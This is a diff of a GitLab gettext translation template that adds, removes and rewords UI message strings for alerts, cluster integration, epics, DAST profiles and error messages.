-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
